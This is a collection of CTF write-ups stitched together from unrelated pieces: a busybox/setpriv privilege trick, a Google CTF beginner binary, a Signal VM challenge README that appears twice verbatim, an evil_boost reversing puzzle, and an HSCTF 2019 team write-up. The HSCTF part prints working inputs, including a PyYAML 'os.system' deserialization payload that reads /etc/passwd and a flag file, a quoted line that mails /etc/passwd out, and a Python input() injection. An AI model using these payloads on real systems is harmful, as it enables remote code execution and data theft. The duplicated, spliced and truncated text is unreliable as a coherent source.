top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
## WorkComputer My first bash-like question I actually solved, learnt alot. At first I tried to see what I could do, obviously I looked at /bin. Nothing really familiar (I'm still a noob at linux) but one binary really caught my attention, setpriv I realized that there is a busybox binary, that could probably give me more binaries to use, but i couldn't access it ![](images/1.png) I fiddled around at it turns out `setpriv --nnp` gives us uid 0 (which somehow isnt root (?) ), this is interesting because maybe uid 0 has more ownership in the shell. Also it turns out with `setpriv /bin/busybox` I can run the binaries in busybox, such as cat, less, etc. But with this im still uid 1338. So combining the 2 tricks above I can use the other binaries with "root" (uid 0 :P) #### Unintended Solution :o I found using `ls -Rla` that there is a folder named /srv/challenge_setup, owned by uid 0. Looking into the folder I see this xD ![](images/2.png) "Whoops I dont think i should be here", oh well I'll just try to cat the files..." ![](images/3.png) "Wow it worked" ##### Flags * CTF{4ll_D474_5h4ll_B3_Fr33}* CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y} #### Easier way `setpriv --nnp` isnt good actually, I could instead just do `setpriv busybox` and do a chmod on both README.flag and ORME.flag in /challenge. Oh well atleast i solved it and learnt alot
![](./images/logo.png) We're initally provided with a binary with the output: ```Travel coordinator0: AC+79 3888 - 55103306031561, 2162014727999281: Pliamas Sos - 117145678638203, 504863370823532: Ophiuchus - 15727012071737, 717400657716213: Pax Memor -ne4456 Hi Pro - 214688618709411, 265135182435384: Camion Gyrin - 37072631554325, 1508235980695605: CTF - <REDACTED> Enter your destination's x coordinate:>>> ``` Each time the binary is executed the coordinates change. Running the simple command of `strings` on the binary will reveal all character strings baked into the binary Filtering through the output we can see the flag in plain text. Nice litte quick introduction to the CTF ```[..]Arrived at the flag. Congrats, your flag is: CTF{welcome_to_googlectf}[..]``` FLAG```CTF{welcome_to_googlectf}```
# Tux's Kitchen ## Description I need to bake it! nc crypto.hsctf.com 8112 [problem.py](problem.py) ## Solution The server print a cute penguin and a list of numbers. ![](problem.png) We can see that the numbers are generated by function final_bake() ```print(final_baking(flag,key))``` The function's body is: ``` def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) print(ord(food[i])*baked[i])) treasure = prepare(treasure) return treasure``` I noticed that the numbers in treasure are multiple of the order of each character in the flag. Knowing the number, I can make a list of printable candidate that is factor of the number. And prepare() is: ```def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) print(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food ``` So I first get 3 lists of numbers and reverse the prepare process.```for i in range(len(ans)): ans[-1] = ans[-1] - MY_LUCKY_NUMBER ans[i] = ans[i] ^ MY_LUCKY_NUMBER````For all printable characters, if it is the factor of the number, put it in the candidate list.```for j in range(32,127): if i // j * j == i: pos += chr(j)```If the character is in all three of the candidate, it's big chance that it is the answer. Running the [script](solve.py), I get the result: ```4hs!c:t"3f){:t4h1s_1s_07ne_;v3&9ry_$6l07ng_"3f$6l 0@`g_1b3!ca8s3_:t5(
[中文](./README_zh.md) [English](./README.md) ## Signal VM Entering handlers by catching every exception, thereby achieving a vm. This challenge references a challenge of qiang wang cup 2018 named obf. I can't find the official write up, so I just upload the challenge here. ### Program flow At first, it fork a child process. The child process will step into many code which will throw many exception. The parent process debug child process and catch these exception. The difference between Signal VM and Signal VM Δ is that, the first challenge modify the memory of parent process, the child process just transfer code to parent process. In the second challenge, by using PTRACE_PEEKTEXT and PTRACE_POKETEXT, the parent process will modify the memory of child process. So that, when we debug the parent process, in the first challenge, we could watch the memory of parent process. We can understand the instruction by watching how the register and memory change. That may be a easy way to solve a VM challenge. But in the second challenge, due to the fact that the child process has been debugged by father process, so that we can't attach on it, and we can't watch the memory of child process easily.(Maybe there is an easy way I don't know, please tell me)Therefore, it increases the difficulty of analyze the instruction. So we should be focus on how the program parse instruction. ### Instructions The instruction has three parts: opcode, type of operand, operand. In addition to breakpoint, I add three other exceptions. ```signal | machine code | handler-------------------------------------------SIGILL | 06 | mov, lea ...SIGTRAP | CC | add, sub, mul div ...SIGSEGV | 00 00 | jccSIGFPE | 30 C0 F6 F8 | cmp``` The byte after the opcode is used to tell us the type of operand(except jcc, because the operand of jcc is always immediate). The high 4 bits represent first operand, and the low 4 bits represent the second: ```0 register1 immediate2 address``` The address must be pointed by register. The first operand cannot be immediate. The immediate must be 32 bits long. After that is the operand. It should match with the operand type. The register use 1 byte and the immediate use 4 bytes. 0-9 represent R0-R9. ### Algorithm The algorithm of two challenge is not very hard. The first challenge use hill cipher to encrypt. The second challenge reference https://projecteuler.net/problem=67 . Differently, we need to calculate the max sum of all path, and the max path together is the flag. The program calculate it by calculate every path. It's impossible to try every path as there are 2^99 altogether, so we must find out a efficient algorithm to solve it. We could select the bigger number of each two adjacent number at the bottom, and add it to upper floor. So when we calculate all floors, we can get the max sum. And when we compare the two number, we should write down the location so we can get the path. In order to avoid multiple solutions, I modify the data that the number adjacent to the maximum cannot be equal to it. ### Source code vm1.c and vm2.c are the source code. As I'm a rookie, the code may be poor. Please don't care it. hill.c and triangle.c are the source code of the algorithm. assembly1.txt and assembly2.txt are the assembly of two challenges. I just translate it from x86 assembly. simulate1.py and simulate2.py will parse the instruction and simulate execution, and then assemble them into bytecode1 and bytecode2. solve1.py and solve2.py are the reference scripts. ### Summary If you have any question, please contact me by telegram: [@Apeng7364](https://t.me/Apeng7364)
[中文](./README_zh.md) [English](./README.md) ## Signal VM Entering handlers by catching every exception, thereby achieving a vm. This challenge references a challenge of qiang wang cup 2018 named obf. I can't find the official write up, so I just upload the challenge here. ### Program flow At first, it fork a child process. The child process will step into many code which will throw many exception. The parent process debug child process and catch these exception. The difference between Signal VM and Signal VM Δ is that, the first challenge modify the memory of parent process, the child process just transfer code to parent process. In the second challenge, by using PTRACE_PEEKTEXT and PTRACE_POKETEXT, the parent process will modify the memory of child process. So that, when we debug the parent process, in the first challenge, we could watch the memory of parent process. We can understand the instruction by watching how the register and memory change. That may be a easy way to solve a VM challenge. But in the second challenge, due to the fact that the child process has been debugged by father process, so that we can't attach on it, and we can't watch the memory of child process easily.(Maybe there is an easy way I don't know, please tell me)Therefore, it increases the difficulty of analyze the instruction. So we should be focus on how the program parse instruction. ### Instructions The instruction has three parts: opcode, type of operand, operand. In addition to breakpoint, I add three other exceptions. ```signal | machine code | handler-------------------------------------------SIGILL | 06 | mov, lea ...SIGTRAP | CC | add, sub, mul div ...SIGSEGV | 00 00 | jccSIGFPE | 30 C0 F6 F8 | cmp``` The byte after the opcode is used to tell us the type of operand(except jcc, because the operand of jcc is always immediate). The high 4 bits represent first operand, and the low 4 bits represent the second: ```0 register1 immediate2 address``` The address must be pointed by register. The first operand cannot be immediate. The immediate must be 32 bits long. After that is the operand. It should match with the operand type. The register use 1 byte and the immediate use 4 bytes. 0-9 represent R0-R9. ### Algorithm The algorithm of two challenge is not very hard. The first challenge use hill cipher to encrypt. The second challenge reference https://projecteuler.net/problem=67 . Differently, we need to calculate the max sum of all path, and the max path together is the flag. The program calculate it by calculate every path. It's impossible to try every path as there are 2^99 altogether, so we must find out a efficient algorithm to solve it. We could select the bigger number of each two adjacent number at the bottom, and add it to upper floor. So when we calculate all floors, we can get the max sum. And when we compare the two number, we should write down the location so we can get the path. In order to avoid multiple solutions, I modify the data that the number adjacent to the maximum cannot be equal to it. ### Source code vm1.c and vm2.c are the source code. As I'm a rookie, the code may be poor. Please don't care it. hill.c and triangle.c are the source code of the algorithm. assembly1.txt and assembly2.txt are the assembly of two challenges. I just translate it from x86 assembly. simulate1.py and simulate2.py will parse the instruction and simulate execution, and then assemble them into bytecode1 and bytecode2. solve1.py and solve2.py are the reference scripts. ### Summary If you have any question, please contact me by telegram: [@Apeng7364](https://t.me/Apeng7364)
similar (or maybe exactly same) to this challenge:https://ctftime.org/task/6881except for the fact that we have to use fastbin dup instead of tcache dup, so there are a few more security checks and constraints.
[中文](./README_zh.md) [English](./README.md)## evil_boost > source code : `evil_boost.cpp`>> problem : `evil_boost.exe`>> compile : `compile.txt` ### analyze ```C++#include<boost/phoenix/phoenix.hpp>#include<iostream>#include<string>#include<string.h> namespace opt = boost::program_options; using namespace std;using namespace boost::spirit;using namespace phoenix; int main(int argc, char** argv) { std::cout << "Have you input your name??" << std::endl; opt::options_description desc("All options"); desc.add_options() ("cplusplus,cpp", opt::value<int>()->default_value(99), "your C++ grades") ("python,py", opt::value<int>()->default_value(88), "your python grades") ("javascript,js", opt::value<int>()->default_value(77), "your javascript grades") ("name", opt::value<std::string>(), "your name") ("help", "produce help message"); opt::variables_map vm; //Parse command line options and store values to "vm" opt::store(opt::parse_command_line(argc, argv, desc), vm); opt::notify(vm);``` Parse command line options and store values to "vm" ```C++if (vm.count("name")) { std::string __name = vm["name"].as<std::string>(); char c1 = vm["cplusplus"].as<int>(); char c2 = vm["python"].as<int>(); char c3 = vm["javascript"].as<int>(); if (vm["cplusplus"].as<int>() == 999) { if (vm["python"].as<int>() == 777) { if (vm["javascript"].as<int>() == 233) { unsigned char enc_false_flag[25] = { 0x4c,0x70,0x71,0x6b,0x38,0x71,0x6b,0x38,0x6c, 0x70,0x7d,0x38,0x6f,0x6a,0x77,0x76,0x7f,0x38, 0x7e,0x74,0x79,0x7f,0x36,0x36,0x36 }; for (int i = 0; i < 25; i++) { if (((unsigned char)__name[i] ^ (char)(c1 + c2 * c3)) != enc_false_flag[i]) { std::cout << "error" << std::endl; _exit(i); } } } std::cout << "You get the flag! flag{" << __name << "}" << std::endl; //flag{This is the wrong flag...} } } }``` If you input the "name", you will get cpp, python, JavaScript scores, then decrypt the flag, and finally output a fake flag ```C++/* Calculate expression related */ //Prepare a val variable for rule, type is double //Accurately say: is a phoenix class, it and other phoenix class constitute a lambda expression, can be seen as a double in the lambda struct calc_closure :boost::spirit::closure<calc_closure, double> { member1 val; }; //Define the ContextT policy as calc_closure::context_t rule<phrase_scanner_t, calc_closure::context_t> factor, term, exp; //Directly use phoenix lambda expression as an actor factor = real_p[factor.val = arg1] | ('(' >> exp[factor.val = arg1] >> ')'); term = factor[term.val = arg1] >> *(('*' >> factor[term.val *= arg1]) | ('/' >> factor[term.val /= arg1])); exp = term[exp.val = arg1] >> *(('+' >> term[exp.val += arg1]) | ('-' >> term[exp.val -= arg1])); const char* szExp = vm["name"].as<std::string>().c_str(); double result; parse_info<>r = parse(szExp, exp[assign_a(result)], space_p);``` The key code is as above, calculate the value of the expression in name ```C++// 5e0*(5-1/5)==24 if (strlen(szExp) != 11) { _exit(strlen(szExp)); } int count_num = 0; int count_alpha = 0; for (int i = 0; i < strlen(szExp); i++) { if ((szExp[i] < '9') && (szExp[i] >= '0')) { count_num++; } else if ((szExp[i] > 'a') && (szExp[i] < 'z')) { count_alpha++; } else if ((szExp[i] > 'A') && (szExp[i] < 'Z')) { std::cout << "GG..." << std::endl; Sleep(100000000); } else if ((szExp[i] != '-') && (szExp[i] != '*') && (szExp[i] != '(') && (szExp[i] != ')') && (szExp[i] != '/')) { _exit(-1); } } //Can only have 5 numbers and 1 lowercase letter, which is 'e' if ((count_num != 5) || (count_alpha != 1)) { _exit(count_num); } else { if ((szExp[1] < 'a') || (szExp[1] > 'z')) { Sleep(10000000); std::cout << "You failed!" << std::endl; } } if (result - 24 < 0.0000001 || result - 24 > 0.0000001) { std::cout << "You finally get sth." << std::endl; std::cout << "Maybe you missed a code branch..." << std::endl; std::cout << "MD5 is 293316bfd246fa84e566d7999df88e79,You should check it!" << std::endl; std::cout << "de1ctf{" << vm["name"].as<std::string>() << "}" << std::endl; }``` Length is 11,5 digits, 1 lowercase letter (only e) Because only multiplication,minus and division can be used, 5551 is relatively easy to think of, but it is not excluded that there may be other solutions,so give md5 According to the calculation of the floating point number `(result - 24 < 0.0000001 || result - 24 > 0.0000001)` it is easy to reverse the calculation is to calculate 24 points, the "name" is flag
A High School CTF event. We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally. ![image](assets/screencapture-ctf-hsctf-challenges-2019-06-08-12_20_54.png) As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:. Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?} So I will try to discuss the challenges i loved the *most* here: # **MISC** ## A Simple Conversation-:> description: ### Solution: On looking to the section of source code we see ```pythonprint("What's your age?") age = input("> ") sleep(1) ```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see. ```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}` ## Broken_Repl-:> description: ### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley: ```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description: ### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered) ```That's it :smiley: ## 64+Word -:> description: ### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py) ```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1 ``` then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}` ## Broken gps-:> description:Input Format: A challenge to test some coding skills. ### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all. ```pythonimport math suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz} another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])} def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2) flag = "" for filename in range(1,13): position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0]) with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:] for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord] flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26) print(f"hsctf{{{flag}}}")``` ## RealReversal-:> description: ### Solution:On opening file we see Reversing the file means reversing the hexes.So one liner will do that ```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])``` and on opening reversed file you see utf-8 chars Explanation:Why it happens that on the reverse bytes we can't see any characters, because >UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes. So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}` ## JsonInfo-:> description: ### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning: >Refer to the PyYAML documentation: >Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file. >!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values ​​will open the door for attacks. >repair: >Always use yaml.safe_load unless you have a very good reason. So we tried to do these thing as instructed here to see if the vulnerability is here: ```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info! ```So, yeah the vulnerability is here, Great!!! ```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}` # **CRYPTO** ## Massive Rsa-:> description: ### Solution: We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}` ## Really Secure Algorithm-:> description: ### Solution: We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs. ```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}` ## Tux Kitchen-:> description: ### Solution:Here's the problem ```pythonimport random good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : 